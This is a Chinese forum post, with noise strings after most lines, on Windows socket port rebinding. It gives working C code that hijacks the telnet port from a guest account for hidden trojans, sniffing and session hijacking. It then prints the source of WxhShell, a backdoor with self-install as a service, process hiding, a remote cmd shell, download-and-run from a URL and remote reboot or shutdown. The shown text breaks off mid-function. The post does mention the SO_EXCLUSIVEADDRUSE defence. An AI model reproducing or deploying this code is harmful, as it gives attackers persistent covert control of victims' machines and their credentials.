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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y|Tb&XPD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W'eF | hu  
~[e;{45V  
  saddr.sin_family = AF_INET; qk{2%,u$@{  
|E&a3TQW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sL75C|f9  
eaCv8zdX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1|l'oTAA  
Y` Oz\W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9lNO ~8  
lX/s Q  
  这意味着什么?意味着可以进行如下的攻击: :^j`wd1 h  
vdAaqM6D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ob05:D_bc9  
n.n;'p9t@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0#0[E,  
L,M=ogdb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XCCN6[[+  
D/^yAfI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZH;VEX  
kL\ FY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S*VG;m #  
?%dsY\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ET;YAa*  
C;];4[XR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d5T M_ C  
b1JXC=*@  
  #include 1p=^I'#  
  #include AX,V* s  
  #include {.qeVE{  
  #include    5P-7"g ca  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fmrd 7*MW  
  int main() ?j9J6=2  
  { '!^5GSP3&  
  WORD wVersionRequested; ~VYZu=p  
  DWORD ret; cw|3W]  
  WSADATA wsaData; *UhYX)J  
  BOOL val; uOUgU$%zqH  
  SOCKADDR_IN saddr; s9+Rq*Qd  
  SOCKADDR_IN scaddr; 4<[,"<G~3  
  int err; ?-%Q[W  
  SOCKET s; L|pMq!@J  
  SOCKET sc; 8Y?zxmwn]  
  int caddsize; N^z4I,GV(  
  HANDLE mt; kN_ i0~y@-  
  DWORD tid;   o|O730"2F  
  wVersionRequested = MAKEWORD( 2, 2 ); _b|mSo,{Y  
  err = WSAStartup( wVersionRequested, &wsaData ); j>Wb$p6S  
  if ( err != 0 ) { |fqYMhA U  
  printf("error!WSAStartup failed!\n"); 2%P{fJbwd  
  return -1; &u&+:m  
  } X)^eaw]Q0  
  saddr.sin_family = AF_INET; E7X6Shng  
   9"hH2jc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  "TE F  
15dhr]8E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Yci>'$tQ  
  saddr.sin_port = htons(23); Ey96XJV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F|pM$Kd`  
  { ~A^E_  
  printf("error!socket failed!\n"); Yw @)0%G  
  return -1; qg1s]c~0u  
  } 9'+Eu)l:  
  val = TRUE; "g27|e?y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zGgPW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z,dh?%H>X  
  { hS&3D6G t  
  printf("error!setsockopt failed!\n"); @ =g Px  
  return -1; #$W02L8  
  } 0T,uH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BV)o F2b:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !Q[j;f   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y0s=yN_  
X)7_@,7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kq|(t{@Rp  
  { N~NUBEKcp  
  ret=GetLastError(); 9#(Nd, m})  
  printf("error!bind failed!\n"); 1%Hc/N-  
  return -1; jHjap:i`cI  
  } )1?#q[x  
  listen(s,2); -wr#.8rzTT  
  while(1) (Y i 1U~{:  
  { }@6Tcn1  
  caddsize = sizeof(scaddr); (~S=DFsP  
  //接受连接请求 lRA=IRQ]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PgOOFRwP  
  if(sc!=INVALID_SOCKET) >u?m Bx  
  { +/O3L=QyJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (4]M7b[S$  
  if(mt==NULL) :Kq]b@ X  
  { <c'0-=  
  printf("Thread Creat Failed!\n"); .cks ){\  
  break; Iu" 7  
  } H!SFSgAu  
  } -t#YL  
  CloseHandle(mt); o6bT.{8\  
  } }jE [vVlRw  
  closesocket(s); OHRkhwF.  
  WSACleanup(); /3Y\s&y  
  return 0; |k.%e4  
  }   }ejZk bP  
  DWORD WINAPI ClientThread(LPVOID lpParam) Xz,fjKUnN  
  { Lf 0X(tC  
  SOCKET ss = (SOCKET)lpParam; #hMS?F|  
  SOCKET sc; 6LRvl6ik  
  unsigned char buf[4096]; SG$V%z"e  
  SOCKADDR_IN saddr; {$>Pg/  
  long num; 2WO5Af%  
  DWORD val; c'|](vOd]  
  DWORD ret; 5aZbNV}-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i,V,0{$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4og/y0n,l"  
  saddr.sin_family = AF_INET; JjMa   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i}Q"'?  
  saddr.sin_port = htons(23); G0%},Q/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >U\1*F,Om,  
  { bW-sTGjRD  
  printf("error!socket failed!\n"); |hl:!j.t  
  return -1; vKO/hZBh  
  } l+nT$IPF  
  val = 100; wn-1fz <d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UaCfXTG  
  { c-VIpA1  
  ret = GetLastError(); RCqd2$K"J+  
  return -1; A3mvd-k  
  } J?#Xy9dz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0Sj B&J  
  { 9%Eo<+my h  
  ret = GetLastError(); ?lca#@f(  
  return -1; AZ.$g?3w  
  } a^o'KN{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LvqWA}  
  { )FpizoVq0  
  printf("error!socket connect failed!\n"); *fCmZ$U:{  
  closesocket(sc); q0C%">>1 #  
  closesocket(ss); d/Sw.=vq  
  return -1; (S~kNbIa  
  } r03%+:  
  while(1) zC,c9b  
  { X $2f)3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5>6:#.f%!e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 : X}n[K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9Iu"DOxX%  
  num = recv(ss,buf,4096,0); .H@b zm  
  if(num>0) ID: tTltcc  
  send(sc,buf,num,0); OKPNsN  
  else if(num==0) JIiS/]KQ  
  break; p'`?CJq8  
  num = recv(sc,buf,4096,0); PrHoN2y5E  
  if(num>0) \483S]_-z{  
  send(ss,buf,num,0); h+R26lI1x  
  else if(num==0) Xf#+^cQ  
  break; YP Qix  
  } a]/KJn /B(  
  closesocket(ss); ?$K.*])e  
  closesocket(sc); YK\pV'&+  
  return 0 ; B[3u,<opFU  
  } jp;]dyU  
4/ WKR3X  
}K^v Ujl  
========================================================== IeZ9 "o h  
u69UUkG  
下边附上一个代码,,WXhSHELL {/j gB"9  
R<B5<!+  
========================================================== esiU._:u  
kRjNz~g  
#include "stdafx.h" uBK0+FLL@  
]Twyj  
#include <stdio.h> f(G1xw]]@Y  
#include <string.h> %8H$62w]  
#include <windows.h> uPq@6,+  
#include <winsock2.h> C*}PL  
#include <winsvc.h> 5T%2al,F`  
#include <urlmon.h> !w}b}+]GB  
;W T<]  
#pragma comment (lib, "Ws2_32.lib") DRpF EWsm  
#pragma comment (lib, "urlmon.lib") >F>VlRg  
km*Y#`{  
#define MAX_USER   100 // 最大客户端连接数 h'HI92; [  
#define BUF_SOCK   200 // sock buffer DcNp-X40I  
#define KEY_BUFF   255 // 输入 buffer &:&~[4>%a  
,5V6=pr$  
#define REBOOT     0   // 重启 4fIjVx  
#define SHUTDOWN   1   // 关机 >8ryA$  
'QQq0.  
#define DEF_PORT   5000 // 监听端口 ,k_"T.w  
q_6fr$-Qh  
#define REG_LEN     16   // 注册表键长度 H $ %F0'0  
#define SVC_LEN     80   // NT服务名长度 Z($i+L%.  
GM8Q#vc  
// 从dll定义API H| _@9V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?YMBZ   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `Se2f0",  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EDz;6Z*4N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -u(,*9]cJ*  
Lk!m1J5  
// wxhshell配置信息 \FUMfo^  
struct WSCFG { c4u/tt.)  
  int ws_port;         // 监听端口 ttdY]+Fj  
  char ws_passstr[REG_LEN]; // 口令 -K lR":  
  int ws_autoins;       // 安装标记, 1=yes 0=no suzK)rJ9i  
  char ws_regname[REG_LEN]; // 注册表键名 n"`V| UTHP  
  char ws_svcname[REG_LEN]; // 服务名 gD51N()s,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5S8>y7knQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  H~TuQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L2p?] :-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MhR`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RcO"k3J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $E&T6=Wn  
0%Le*C'yk  
}; c~4Cpy^  
(3K3)0fy  
// default Wxhshell configuration &l0K~7)b  
struct WSCFG wscfg={DEF_PORT, t=X=",)f  
    "xuhuanlingzhe", HE35QH@/`  
    1, W+GC3W   
    "Wxhshell", Vz$xV!  
    "Wxhshell", ,p3]`MG  
            "WxhShell Service", I-/>M/66  
    "Wrsky Windows CmdShell Service", 4Z>gK(  
    "Please Input Your Password: ", Gh/nNwyu<  
  1, Q=8YAiCu  
  "http://www.wrsky.com/wxhshell.exe", OX'V  
  "Wxhshell.exe" 78{9@\e"0  
    }; 4BUG\~eI3  
n?nzm "g  
// 消息定义模块 v$0|\)E)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .8Bu%Sf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8HFCmY#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?_FL 'G  
char *msg_ws_ext="\n\rExit."; V'e%%&g~N  
char *msg_ws_end="\n\rQuit."; g5y`XFY  
char *msg_ws_boot="\n\rReboot..."; Wlxmp['Bh  
char *msg_ws_poff="\n\rShutdown..."; @I-,5F|r  
char *msg_ws_down="\n\rSave to "; @!=Ds'MJC  
&ocuZ -5`  
char *msg_ws_err="\n\rErr!"; {f\wIZ-K A  
char *msg_ws_ok="\n\rOK!"; L {P'mG=4  
aPzn4}~/_  
char ExeFile[MAX_PATH]; YHO}z}f[!  
int nUser = 0; Zj!,3{jX^  
HANDLE handles[MAX_USER]; r-wCAk}m*?  
int OsIsNt; %'ah,2a%  
4~3 n =T*  
SERVICE_STATUS       serviceStatus; f*<Vq:N=\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F{;#\Ob  
(BPO*'  
// 函数声明 ~CT]&({  
int Install(void); /6Q]f  
int Uninstall(void); "o+?vx-  
int DownloadFile(char *sURL, SOCKET wsh); .n1&Jsey  
int Boot(int flag); g=[OH  
void HideProc(void); =]]1x_GB  
int GetOsVer(void); *d jLf.I@  
int Wxhshell(SOCKET wsl);  :`N ZD  
void TalkWithClient(void *cs); iphC\*F  
int CmdShell(SOCKET sock); iAZ8Y/  
int StartFromService(void); !p/SX>NJ  
int StartWxhshell(LPSTR lpCmdLine); ?5J# yn  
]y6 {um8"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fy"M 4;7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }< H>9iJ:  
jQ;/=9  
// 数据结构和表定义 -'g> i  
SERVICE_TABLE_ENTRY DispatchTable[] = w") G:K  
{ ':fp|m)M  
{wscfg.ws_svcname, NTServiceMain}, 3nG.ah  
{NULL, NULL} +Ps.HW#NY  
}; WI4<2u;  
O_8 SlW0e  
// 自我安装 m{Vd3{H40  
int Install(void) 7H)$NG<U$  
{ ,eBC]4)B6  
  char svExeFile[MAX_PATH]; ~*7$aj  
  HKEY key; @JXpD8jn  
  strcpy(svExeFile,ExeFile); O\.^H/  
%h@1lsm1+  
// 如果是win9x系统,修改注册表设为自启动 !{r2`d09n)  
if(!OsIsNt) { @Suz-j(H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f]8MdYX(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?VNtT/  
  RegCloseKey(key); f~T7?D0u}N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V.&F%(L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Ne#{*z)hO  
  RegCloseKey(key); GZ~Tl0U  
  return 0; `=H*4I-"  
    } sko7,&  
  } ,)Q-o2(C  
} a$|U4Eqo  
else { k}v`UiGM  
>^~^#MT  
// 如果是NT以上系统,安装为系统服务 @w8} ]S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H P.=6bJWi  
if (schSCManager!=0) -y-}g[`  
{ 3A!a7]fW  
  SC_HANDLE schService = CreateService gZ4' w`4r  
  ( sNDo@u7  
  schSCManager, 5P\>$N1p  
  wscfg.ws_svcname, w\acgQ^%e  
  wscfg.ws_svcdisp, 7. <jdp  
  SERVICE_ALL_ACCESS, a2B71RT~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4W" A*A  
  SERVICE_AUTO_START, \1!Q.V  
  SERVICE_ERROR_NORMAL, %`C*8fc&  
  svExeFile, BQ0?B*yqd  
  NULL, -`I|=lBz{H  
  NULL, Cw+boB_tip  
  NULL, ?YW~7zG  
  NULL, `f;w  
  NULL $_"u2"p  
  ); t`z"=S  
  if (schService!=0) j**[[  
  { vHf)gi}O|  
  CloseServiceHandle(schService); 6^gp /{  
  CloseServiceHandle(schSCManager); #"4ioTL2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -5b|nQuY  
  strcat(svExeFile,wscfg.ws_svcname); =@Oo3*>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \:4*h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^[7Mp  
  RegCloseKey(key); +a!3*G@N+  
  return 0; H ni^S  
    } ML_VD*t9  
  } &#2&V>pE  
  CloseServiceHandle(schSCManager); S[F06.(1  
} 3%+ ~"4&  
} "Au4&Fu  
zL yI|%KH  
return 1; *&I>3;~%^}  
} /A7( `l;6  
|/gt;H~:  
// 自我卸载 eB5>uKa  
int Uninstall(void) mU #F>  
{ +X/a+y-  
  HKEY key; 5*%Gh&)  
m8fj\,X  
if(!OsIsNt) { _= v4Iz0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gyvrQ, u  
  RegDeleteValue(key,wscfg.ws_regname); ,0! 2x"Q=  
  RegCloseKey(key); v1:.t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +yP!7]  
  RegDeleteValue(key,wscfg.ws_regname); uxf,95<g)  
  RegCloseKey(key); $.jG O!  
  return 0; X+;[Gc}(W  
  } ?Zb+xNKJ(  
} 3NpB1lgh&:  
} q}P@}TE  
else { %l7[eZ{Y  
QXkA%'@'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z;qDl%AF  
if (schSCManager!=0) StI N+S@Z  
{ sC-o'13  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^ #:;6^Su  
  if (schService!=0) 6j6CA?|  
  { }:#WjH^  
  if(DeleteService(schService)!=0) { LL(xi )  
  CloseServiceHandle(schService); 8S1@,O,  
  CloseServiceHandle(schSCManager); Pp_ 4B  
  return 0; 0zr27ko  
  } A"JdG%t>.h  
  CloseServiceHandle(schService); fa/S!%}fO  
  }  \(\a=  
  CloseServiceHandle(schSCManager); i|^Q{3?o#  
} ! UT'4Fs  
} ;@ePu  
-8n1y[  
return 1; G WIsT\J  
} fB$a )~  
rwq   
// 从指定url下载文件 Ce}`z L  
int DownloadFile(char *sURL, SOCKET wsh) :TQp,CEa  
{ [bh?p+V  
  HRESULT hr; 40kAGs>_  
char seps[]= "/"; i6if\B  
char *token; G)7U &B  
char *file; Sb`[+i' `  
char myURL[MAX_PATH]; X"{%,]sb G  
char myFILE[MAX_PATH]; :'p)xw4K|  
+dCDk* /m  
strcpy(myURL,sURL); GeR#B;{  
  token=strtok(myURL,seps); At.& $ t  
  while(token!=NULL) mo| D  
  { 5T;LWS  
    file=token; =7Ud-5c  
  token=strtok(NULL,seps); J>_mDcPo  
  } `yfZ{<  
0nwi5  
GetCurrentDirectory(MAX_PATH,myFILE); =0cTct6\  
strcat(myFILE, "\\"); OR@ 67Y  
strcat(myFILE, file); 9kD#'BxC  
  send(wsh,myFILE,strlen(myFILE),0); 8T3,56 >  
send(wsh,"...",3,0); g6Vkns4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "|3I|#s  
  if(hr==S_OK) S\:^#Yi`  
return 0; 1-gM)x{Jr  
else tyR?A>F4  
return 1; Ub3$`  
lM\dK)p21O  
} WESD^FK  
bsQ'kBD  
// 系统电源模块 NljpkeX'  
int Boot(int flag) iE'_x$i  
{ lju5+0BSb  
  HANDLE hToken; 2y!n c%  
  TOKEN_PRIVILEGES tkp; Ij#mmj NW  
r)t[QoD1  
  if(OsIsNt) { 6Ryc&z5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >j?5?J"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;dzy 5o3  
    tkp.PrivilegeCount = 1; !BoGSI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \g34YY^L3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )g:5}+  
if(flag==REBOOT) { J*zzjtY( 1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Al yJ!f"Y  
  return 0; f+:iz'b#U  
} Exw d,2>  
else { Q,NnB{R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Tz|COG5h\  
  return 0; XC3)#D#HGh  
} ei= 4u'  
  } j3sz"(  
  else { (pELd(*Ga  
if(flag==REBOOT) { u#ya 8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gT8(LDJ  
  return 0; )q<VZ|V  
} WM+8<|)n  
else { ^2'Y=g>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y][12{I{  
  return 0; IOFXkpK R  
} ]xvA2!) Q  
} I$"Z\c8;  
.F ?ww}2p]  
return 1; /gu VA  
} "(mJupI  
T, #-: }  
// win9x进程隐藏模块 Vg$d|m${  
void HideProc(void) F+*E}QpM  
{ 6[t<g=  
~ikp'5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?6 2zv[#  
  if ( hKernel != NULL ) hrniZ^  
  { >M5}L<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f,O10`4s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J^"_H:1[  
    FreeLibrary(hKernel); g V]4R"/  
  } IgbuMEfL  
'fn}I0Vc  
return; t]&.'n,  
} j)@W1I]2#  
Ny"9!3V   
// 获取操作系统版本 $j- Fm:ZIA  
int GetOsVer(void) 'pA%lc)  
{ P"7` :a  
  OSVERSIONINFO winfo; x)?V{YAL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n~0wq(8M  
  GetVersionEx(&winfo); 0s`6d;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o*$KiD  
  return 1; V_ 6K?~j  
  else 1XN%&VR>^D  
  return 0; 7T[L5-g  
} OXLB{|hH80  
2]fTDKh  
// 客户端句柄模块 tM5(&cQ!d  
int Wxhshell(SOCKET wsl) z 4}"oQk:r  
{ *$7^.eHfdd  
  SOCKET wsh; %ZRv+}z  
  struct sockaddr_in client; Z*Ffdh>*:&  
  DWORD myID; Hl$qmq  
Q^{TcL8  
  while(nUser<MAX_USER) g(P7CX+y  
{ /,I?"&FWc  
  int nSize=sizeof(client); u4lM>(3Y}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rc)]A&J  
  if(wsh==INVALID_SOCKET) return 1; pRfKlTU\  
$U,]c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ok--Jyhv#  
if(handles[nUser]==0) I 6WHC*  
  closesocket(wsh); rE*yT(:w  
else `_yksh3zL4  
  nUser++; og$dv 23  
  } igOX0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -}@C9Ja[?  
,% yC4  
  return 0; +!@xH];  
} h6~xz0,u  
=)y$&Ydj  
// 关闭 socket g,E)F90  
void CloseIt(SOCKET wsh) v0r:qku  
{ ~JZLWTEe  
closesocket(wsh); eZ) |m  
nUser--; ~H''RzN  
ExitThread(0); em'3 8L|(  
} fe4/[S{a   
Il/`#b@h  
// 客户端请求句柄 <> =(BAw  
void TalkWithClient(void *cs) ]@SEOc@ j  
{ wB8548C}-  
(q"S0{  
  SOCKET wsh=(SOCKET)cs; \.P'8As  
  char pwd[SVC_LEN]; rDaiA x&  
  char cmd[KEY_BUFF]; 0lt1/PEKx2  
char chr[1]; gd3MP^O1  
int i,j; GLY,<O>D5  
d}E6d||A  
  while (nUser < MAX_USER) { TbMlYf]It  
un6W|{4]  
if(wscfg.ws_passstr) { !G;BYr>X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2QHu8mFU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k="w EZ;Q  
  //ZeroMemory(pwd,KEY_BUFF); t2ui9:g4j  
      i=0; 'e))i#/VF  
  while(i<SVC_LEN) { ;XY#Jl>tg  
/\jRr7 Cd  
  // 设置超时 N}bZdE9F  
  fd_set FdRead; N*w{NB7L  
  struct timeval TimeOut; Z _<Wr7D  
  FD_ZERO(&FdRead); aLevml2:T  
  FD_SET(wsh,&FdRead); ~}YgZ/U7T  
  TimeOut.tv_sec=8; blV'-Al  
  TimeOut.tv_usec=0; ZCuh^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); az:lG(ZGw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2\}6b4  
;hDIoSz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A- hWg;  
  pwd=chr[0]; Re\V<\$J  
  if(chr[0]==0xd || chr[0]==0xa) { d cht8nX7~  
  pwd=0; b|Ed@C  
  break; ,J-YfL^x6*  
  } cRPy5['E  
  i++; JENq?$S  
    } eR1]<Z$W\  
=uR[Jewa  
  // 如果是非法用户,关闭 socket a67NWH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xo4K!U>TzZ  
} fl9J  
bU(fH^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WAw} ?&k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .=b)Ae c  
! F&{I  
while(1) { d 7QWK(d  
n;dp%SD  
  ZeroMemory(cmd,KEY_BUFF); FJ&?My,=J  
.!Q[kn0a  
      // 自动支持客户端 telnet标准   |w^nCsv  
  j=0; 0w l31k{  
  while(j<KEY_BUFF) { v/Ei0}e6~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !U+XIr  
  cmd[j]=chr[0]; {,m W7  
  if(chr[0]==0xa || chr[0]==0xd) { l3/?,xn  
  cmd[j]=0; wvSaq+N  
  break; 0/%VejZ'  
  } R75np^  
  j++; Yg7C"3;Vt  
    } Q,f5r%A.  
*j= whdw%J  
  // 下载文件 [[:wSAO>6'  
  if(strstr(cmd,"http://")) { b _0Xi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  #`2*V  
  if(DownloadFile(cmd,wsh)) +l$BUX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;,]Wtmu)7  
  else ~); 7D'[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yX8$LOjE  
  } ?G!DYUK  
  else { q:v&wb%  
E^jb#9\R  
    switch(cmd[0]) { X6@G)68  
  Ik|nL#JH]  
  // 帮助 E>SLR8!C v  
  case '?': { PM%Gsy]q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nz]+G2 h  
    break; 6ax|EMw  
  } djcC m5m  
  // 安装 1vBXO bk  
  case 'i': { pEE.%U  
    if(Install()) /e}NZo{)g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ey;uaqt  
    else 7l3sd5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n P4DHb&5  
    break; dAcy;-[[P  
    } pTJJ.#$CEF  
  // 卸载 h{cJ S9e}  
  case 'r': { toCT5E_0=  
    if(Uninstall()) * <_8]C0>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VS\~t  
    else qMe$Qr8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9rmOf Jo:  
    break; It@.U|  
    } $/Q*@4t  
  // 显示 wxhshell 所在路径 7.l[tKh  
  case 'p': { g k[8'  
    char svExeFile[MAX_PATH]; LN?W~^gsR  
    strcpy(svExeFile,"\n\r"); uN1O(s  
      strcat(svExeFile,ExeFile); u>.qhtm[  
        send(wsh,svExeFile,strlen(svExeFile),0); qG%'Lt  
    break; G u-#wv5@  
    } %9A6c(L  
  // 重启 |^i+Srh  
  case 'b': { >{^&;$G+*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W`^Zb[  
    if(Boot(REBOOT)) E(oI0*S.5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7x^P74  
    else { 58Fan*fO  
    closesocket(wsh); &pD6Qq{  
    ExitThread(0); F\Gi;6a  
    } : )\<  
    break; $>;U^-#3  
    } PI#xRKt  
  // 关机 _$?SKid|o  
  case 'd': { (W| Eg  
